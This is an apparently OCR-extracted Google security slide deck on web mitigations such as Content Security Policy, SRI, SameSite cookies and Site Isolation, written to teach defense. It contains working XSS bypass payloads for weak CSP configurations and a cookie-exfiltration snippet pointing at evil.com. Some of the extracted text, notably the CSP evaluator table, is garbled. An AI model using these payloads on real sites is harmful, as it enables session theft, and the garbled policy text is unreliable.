Defense-in-depth techniques for modern web applications
We work in a focus area of the Google security team (ISE) aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs.
Agenda

- Content Security Policy
- Subresource Integrity
- Same-Site Cookies
- Site Isolation, CORB & From-Origin
- Upcoming
  - Suborigins
  - Origin Policy
  - Feature Policy
Content Security Policy (CSP)
What is CSP?

- An HTTP header developers can use to lock down their web applications in various ways.

- A defense-in-depth mechanism - it reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
CSP is **NOT**...

- A replacement for secure coding practices
- A mechanism to prevent data exfiltration
The Complex World of CSP

**XSS**
- Defense-in-depth protection against XSS
- Nonce-based CSP
- Hash-based CSP
- Whitelist-based CSP
- Directives
  - style-src

**UI**
- Defense-in-depth against UI-level attacks
- Directives
  - style-src

**HTTPS**
- Force HTTPS and block mixed-content
- Directives
  - upgrade-insecure-requests
  - block-all-mixed-content

**BLOCK**
- Block everything
- Directives
  - default-src 'none'

**FRAME**
- Restrict frame ancestors and framing
- Directives
  - frame-ancestors
  - frame-src

**DATA**
- Prevent data-exfiltration
- Directives
  - default-src
  - *-src
So what about XSS?

◉ CSP is mostly used to mitigate XSS

◉ Most CSPs are based on whitelists
  ○ >94% automatically bypassable

◉ Introduced 'strict-dynamic' to ease adoption of policies based on nonces
CSP against XSS

- Whitelist-based CSP (very weak)
  - script-src ajax.google.com

- Nonce-based CSP
  - script-src 'nonce-r4nd0m'

- Hash-based CSP
  - script-src 'sha256-vbqjgmO/1eNbI...'
CSP against XSS

- Whitelist-based CSP
- Nonce-based CSP
- Hash-based CSP
Whitelist-Based CSP Example

Content-Security-Policy

default-src 'self';
script-src 'self' yep.com;
report-uri /cspViolation_logger;
Whitelist-Based CSP Example

Content-Security-Policy

default-src 'self';
script-src 'self' yep.com;
report-uri /csp_violation_logger;

money.example.com

CSP allows

<img src="cat.png">

money.example.com

CSP allows

yep.com

attacker.com

CSP blocks

"">\<script src="/attacker.com"�

CSP blocks

"">\<script>alert(42)
</script>

inline script not allowed

source not whitelisted

money.example.com/csp_violations_logger
Whitelist-based CSP is **broken**


*Proceedings of the 23rd ACM Conference on Computer and Communications Security, ACM, Vienna, Austria (2016)*
CSP Bypasses

'un safe-inline' in script-src
script-src 'self' 'unsafe-inline';
object-src 'none';
Bypass: "'>'<script>alert(1337)</script>

URL scheme/wildcard in script-src
script-src 'self' https: data: *;
object-src 'none';
Bypass: "'>'<script src=data:text/javascript,alert(1337)></script>

Missing or lax object-src
script-src 'none';
Bypass: "'>'<object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})}) catch(e){alert(1337)}\'"></object>

JSONP-like endpoint in whitelist
script-src 'self' whitelisted.com;
object-src 'none';
Bypass: "'>'<script src=https://whitelisted.com/jsonp?callback=alert>

AngularJS library in whitelist
script-src 'self' whitelisted.com;
object-src 'none';
Bypass: "'>'<script src=https://whitelisted.com/angularjs/1.1.3/angular.min.js'></script>
<di ng-app ng-csp id=p ng-click=$event.view.alert(1337)>

Missing base-uri
script-src /foo.js;
Bypass: "'>'<base href=https://evil.com/>
CSP against XSS

◉ Whitelist-based CSP

◉ Nonce-based CSP

◉ Hash-based CSP
Recap: How do CSP Nonces Work?

CSP based on nonces

```
script-src 'nonce-r4nd0m';
object-src 'none'; base-uri 'none';
```

△ all `<script>` tags with the correct nonce attribute will get executed
△ `<script>` tags injected via XSS will be blocked because of missing nonce
△ no host/path whitelists
△ no bypasses caused by JSONP-like endpoints on external domains
△ no need to go through painful process of crafting/maintaining whitelist

This part needs to be random for every response!
Recap: How do CSP Nonces Work?

Content-Security-Policy:

```plaintext
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```

```html
<script nonce="r4nd0m">doStuff();</script>
<script nonce="r4nd0m" src="//yep.com/x.js">
```

money.example.com

yep.com
Recap: How do CSP Nonces Work?

Content-Security-Policy:

```
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```

money.example.com

```
<script nonce="r4nd0m">  
doStuff();</script>
```
CSP allows

```
<script nonce="r4nd0m"  
src="/yep.com/x.js">
```
CSP allows

```
`'><script  
src="/attacker.com">
```
CSP allows

```
`'>&lt;script  
src="/attacker.com">
```
CSP blocks

```
`'>&lt;script>alert(42)  
</script>
```
CSP blocks

script without correct nonce

money.example.com/csp_violations

source neither nonced nor whitelisted
Recap: What is 'strict-dynamic'?

- Grant trust transitivity via a one-use token (nonce) instead of listing whitelisted origins.

- 'strict-dynamic' in a script-src:
  - Discards whitelists (for backward-compatibility)
  - Allows JS execution when created via e.g. `document.createElement('script')`
Recap: What is 'strict-dynamic'?

```
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
```

```
<script nonce="r4nd0m">
    var s = document.createElement("script");
    s.src = "//example.com/bar.js";
    document.body.appendChild(s);
</script>
```

```
<script nonce="r4nd0m">
    var s = "<script ">
        s += "src=//example.com/bar.js"></script>";
    document.write(s);
</script>
```

```
<script nonce="r4nd0m">
    var s = "<script ">
        s += "src=//example.com/bar.js"></script>";
        document.body.innerHTML = s;
</script>
```
Step by step towards a stricter CSP

- **Nonce based CSP + strict-dynamic + unsafe-eval | Level 1**
  - no CSP whitelist bypasses
  - reflected/stored XSS mitigated
  - javascript: URI XSS mitigated
  - easy to deploy w. auto-noncing templates

- **Nonce based CSP + strict-dynamic | Level 2**
  - eval() based XSS mitigated

- **Nonce/Hash based CSP | Level 3**
  - secure in absence of browser bugs

Deployment Difficulty

Security Guarantees

Whitelist based

+ most DOM XSS mitigated

- easy to deploy w. auto-noncing templates
Step by step towards a stricter CSP

Nonce/Hash based CSP | Level 3

- `script-src 'nonce-r4nd0m'`
- `object-src 'none'; base-uri 'none';`

Nonce based CSP + strict-dynamic | Level 2

- `script-src 'nonce-r4nd0m' 'strict-dynamic'`
- `object-src 'none'; base-uri 'none';`

Nonce based CSP + strict-dynamic + unsafe-eval | Level 1

- `script-src 'nonce-r4nd0m' 'strict-dynamic' 'unsafe-eval'`
- `object-src 'none'; base-uri 'none';`
New features in CSP 3

**unsafe-hashed-attributes**

Aims to make CSP deployment simpler by allowing developers to enable specific inline JS handlers via hashes.

```html
<button id="action" onclick="doSubmit()"

<script-src 'unsafe-hashed-attributes' 'sha256-jzgBGA4UWFFmp0Bq0JpdsySukE1FrEN5bUpoK8Z29fY='
```
New features in CSP 3

`unsafe-inline-attributes` (proposal)

Aims to block attacks using `<style>` blocks like the CSS-keylogger*

The ‘unsafe-inline-attributes’ keyword behaves similarly to ‘unsafe-inline’ but only for attributes.

```html
<button id="action" style="color:green">
```

```
style-src 'unsafe-inline-attributes' 'nonce-rAnd0m'
```

* https://github.com/maxchehab/CSS-Keylogging
Why not use CSP to prevent data exfiltration?

- **TL;DR** – Game over once attacker can execute JS
- Too many ways to exfiltrate data
- E.g. links are not subject to CSP:
  ```javascript
  document.write("<a id='foo'
  href='//evil.com/'+document.cookie+''></a>");
  document.getElementById("foo").click();
  ```
- Other examples: postMessage, DNS prefetch, window.open …
CSP at Google
CSP adoption at Google

- Currently CSP is **enforced** on
  - over **50%** of outgoing traffic
  - >30 domains with **100%** coverage
  - most **sensitive** web applications (Login, Gmail, Docs, ...)

- **Goal**
  - Enforced in **all** new & sensitive applications
  - Nonce only CSPs (no unsafe-eval, no strict-dynamic) for sensitive applications

---

Google-wide strict CSP coverage
CSP Tools and Infrastructure

Content Security Policy

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>style-src</td>
<td>unsafe-inject</td>
<td>unsafe-eval</td>
<td>self</td>
<td>data</td>
<td><a href="https://fonts.googleapis.com">https://fonts.googleapis.com</a></td>
</tr>
<tr>
<td>default-src</td>
<td>self</td>
<td></td>
<td></td>
<td></td>
<td><a href="https://www.google.com">https://www.google.com</a>; default-src 'self' + 127.0.0.1 <a href="https://a0.nikeb.com:2.6466:5509;dc72:09e2;enqueue;data">https://a0.nikeb.com:2.6466:5509;dc72:09e2;enqueue;data</a>:</td>
</tr>
<tr>
<td>img-src</td>
<td>data</td>
<td></td>
<td></td>
<td></td>
<td><a href="https://a0.nikeb.com">https://a0.nikeb.com</a>; img-src data: data:</td>
</tr>
<tr>
<td>child-src</td>
<td>data</td>
<td></td>
<td></td>
<td></td>
<td><a href="https://a0.nikeb.com">https://a0.nikeb.com</a>; child-src data: data:</td>
</tr>
<tr>
<td>report-uri</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>report-uri <a href="http://css.example.com">http://css.example.com</a>; report-uri</td>
</tr>
</tbody>
</table>

CSP Version 3 (nonca based + backward compatibility checks) • •

CHECK CSP

Evaluated CSP as seen by a browser supporting CSP Version 3

- script-src
  - Host whitelists can frequently be bypassed. Consider using "strict-dynamic" in combination with CSP nonces or hashes.
  - "unsafe-inject" allows the execution of unsafe in-page scripts and event handlers.
  - "unsafe-eval" allows the execution of code injected into DOM APIs such as eval()
  - "self" can be problematic if you host JSONP, Angular or user uploaded files.
  - data: URL in script-src allows the execution of unsafe scripts.

- style-src
  - https://www.google.com
  - http://www.google-analytics.com/gtm.js

- default-src
  - https://fonts.googleapis.com

- img-src
  - data: URL in img-src allows the execution of unsafe scripts.

- child-src
  - https://a0.nikeb.com:2.6466:5509;dc72:09e2;enqueue;data:

- report-uri
  - http://css.example.com; report-uri

- object-src [missing]
  - Can you restrict object-src to 'none'?
Subresource Integrity (SRI)

https://www.w3.org/TR/SRI/
What is SRI?

Ensures that resources hosted on third-party servers have not been tampered with by specifying a hash of their expected content.
**Browser support for SRI**

<table>
<thead>
<tr>
<th></th>
<th>IE</th>
<th>Edge</th>
<th>Firefox</th>
<th>Chrome</th>
<th>Safari</th>
<th>iOS Safari</th>
<th>Opera Mini</th>
<th>Chrome for Android</th>
<th>UC Browser for Android</th>
<th>Samsung Internet</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>16</td>
<td>59</td>
<td>65</td>
<td>11.1</td>
<td>10.3</td>
<td>11.2</td>
<td>all</td>
<td>64</td>
<td>11.8</td>
<td>6.2</td>
</tr>
<tr>
<td>17</td>
<td>60</td>
<td>66</td>
<td>67</td>
<td>TP</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>18</td>
<td>61</td>
<td>68</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Same-Site Cookies
What are Same-Site Cookies?

The **SameSite** flag in cookies allows servers to mitigate the risk of XSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same site.
What are Same-Site Cookies?

Set-Cookie: <cookie-name>=<cookie-value>; SameSite={Strict, Lax}

**Strict**
Cookies are not sent when there is cross-site navigation

**Lax**
Cookies are not sent when there is cross-site navigation and an "unsafe" HTTP method such as POST
Browser support for Same-Site Cookies

<table>
<thead>
<tr>
<th></th>
<th>IE</th>
<th>Edge *</th>
<th>Firefox</th>
<th>Chrome</th>
<th>Safari</th>
<th>iOS Safari *</th>
<th>Opera Mini *</th>
<th>Chrome for Android</th>
<th>UC Browser for Android</th>
<th>Samsung Internet</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>11</td>
<td>16</td>
<td>59</td>
<td>65</td>
<td>11.1</td>
<td>11.3</td>
<td>all</td>
<td>64</td>
<td>11.8</td>
<td>6.2</td>
</tr>
<tr>
<td>17</td>
<td>17</td>
<td>60</td>
<td>66</td>
<td>TP</td>
<td>67</td>
<td>68</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>18</td>
<td>18</td>
<td>61</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Site Isolation, CORB & From-Origin
What is Site Isolation?

A Chromium browser setting ensuring that pages from different websites are put into different processes and blocking the process from receiving sensitive data from other sites.
What is CORB?
(was XSDB)

An important part of Site Isolation restricting which cross-origin data is sent to a renderer process, limiting the access to such data using speculative side-channel attacks like Spectre.

Example: loading cross-origin HTML in `<img>`. 
What is From-Origin?
(proposal)

Prevents resources from being loaded and included by non-whitelisted origins.

Mitigates **inline linking** and attacks such as **Spectre**.
Upcoming Mitigations
Suborigins
(proposal)

Isolate different applications running in the same origin by adding to a response a server-specified namespace to the origin tuple:

(scheme, host, port, namespace)

https://w3c.github.io/webappsec-suborigins/
Use cases of Suborigins

◉ Per-user origins

◉ Segregating user content from the main origin

◉ Isolate sensitive functionalities
  ○ /wp-admin/
  ○ /password_reset
Adopting Suborigins

<table>
<thead>
<tr>
<th>Communication type</th>
<th>Solution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Suborigin to Suborigin</td>
<td>Add Suborigin header</td>
</tr>
<tr>
<td>Suborigin to Origin</td>
<td>Add Access-Control-Allow-Suborigin</td>
</tr>
<tr>
<td>Suborigin to Extern</td>
<td>Fix Access-Control-Allow-Origin</td>
</tr>
</tbody>
</table>
Origin Policy
(proposal)

Applies:

- Content Security Policy
- Referrer Policy
- other policies

to an entire origin, by default (like "pinning"). It complements header-based delivery, increasing coverage.
Feature Policy
(proposal)

Selectively enables and disables different browser features and web APIs (from the ability to go fullscreen to disabling WebUSB).

*Example*: in combination with Origin Policy, restrict geolocation API to a particular page, reducing attack surface in case of XSS on the domain.
Questions?

You can find us at:

{lwe,mikispag}@google.com
@we1x, @mikispag